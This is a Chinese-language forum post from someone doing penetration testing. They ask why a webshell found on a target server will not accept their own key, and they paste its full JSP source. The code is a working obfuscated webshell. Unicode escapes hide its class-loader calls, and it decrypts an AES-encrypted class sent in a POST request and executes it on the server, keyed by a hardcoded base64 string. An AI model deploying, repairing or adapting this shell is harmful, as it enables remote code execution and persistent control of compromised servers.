马子如下之前一直没有研究过这方面的东西,另外对java也不是很了解吧。今天在渗透中突然发现上传的马子用不了,上传成功了也在根目录可是问题就是显示404,一直很纳闷,也没有杀软啊,文件还在为啥会是404,然后换个马子就显示502.
通过翻译来看显示java 7环境不支持语法什么的,然后也没有其他可用的马子,但是发现了前辈留下的马子,一看跟我用的工具差不多密码都是Tas9er,然后把代码仔细看了看。发现看不懂。。。。。
但是用ai来分析,推断 base64加密处为webshell的密钥key,我想这把我的key替换上去应该就能使用了把?但是事与愿违。自己琢磨了半天问了半天ai也没结果,虽然不影响我渗透把,但还是很好奇。有大佬给讲讲科普科普吗!
Hello Administrator!
WelCome To Tas9er Java Console!<%@page import="sun.misc.*,javax.crypto.Cipher,javax.crypto.spec.SecretKeySpec,java.util.Random" %>
<%!
class tas9erH7uPgZCSN extends \u0043l\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072 {
tas9erH7uPgZCSN(\u0043l\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072 tas9ergbo1bemuT) {
super(tas9ergbo1bemuT);
}
public Class tas9ereDoOI2vhx(byte[] tas9er40n4RJxBZ) {
return super.d\uuuuuuuuu0065fineClass(tas9er40n4RJxBZ,0,tas9er40n4RJxBZ.length);
}
}
%><%
out.println("Random Garbage Data:");
Random tas9erDnSwcFbdE = new Random();
int tas9ersUXDTjJW0 = tas9erDnSwcFbdE.nextInt(1234);
int tas9erNYVdGiD3k = tas9erDnSwcFbdE.nextInt(5678);
int tas9erUcjvHeUPq = tas9erDnSwcFbdE.nextInt(1357);
int tas9err8PVtjzGU = tas9erDnSwcFbdE.nextInt(2468);
out.println(tas9ersUXDTjJW0+","+tas9erNYVdGiD3k+","+tas9erUcjvHeUPq+","+tas9err8PVtjzGU);
String[] tas9erYLr34bXrz = new String[]{"A", "P", "B", "O", "C", "S", "D", "T"};
String tas9erxeFLnlJvV = tas9erYLr34bXrz[1] + tas9erYLr34bXrz[3] + tas9erYLr34bXrz[5] + tas9erYLr34bXrz[7];
if (request.getMethod().equals(tas9erxeFLnlJvV)) {
String tas9erfiDFHAuRH = new String(new B\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072().decodeBuffer("MTZhY2FjYzA1YWFmYWY2Nw=="));
session.setAttribute("u", tas9erfiDFHAuRH);
Cipher tas9erEpSzqERzp = Cipher.getInstance("AES");
tas9erEpSzqERzp.init(((tas9ersUXDTjJW0 * tas9erNYVdGiD3k + tas9erUcjvHeUPq - tas9err8PVtjzGU) * 0) + 3 - 1, new SecretKeySpec(tas9erfiDFHAuRH.getBytes(), "AES"));
new tas9erH7uPgZCSN(this.\u0067\u0065t\u0043\u006c\u0061\u0073\u0073().\u0067\u0065t\u0043\u006c\u0061\u0073\u0073Loader()).tas9ereDoOI2vhx(tas9erEpSzqERzp.doFinal(new sun.misc.B\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}
%>通过翻译来看显示java 7环境不支持语法什么的,然后也没有其他可用的马子,但是发现了前辈留下的马子,一看跟我用的工具差不多密码都是Tas9er,然后把代码仔细看了看。发现看不懂。。。。。
但是用ai来分析,推断 base64加密处为webshell的密钥key,我想这把我的key替换上去应该就能使用了把?但是事与愿违。自己琢磨了半天问了半天ai也没结果,虽然不影响我渗透把,但还是很好奇。有大佬给讲讲科普科普吗!






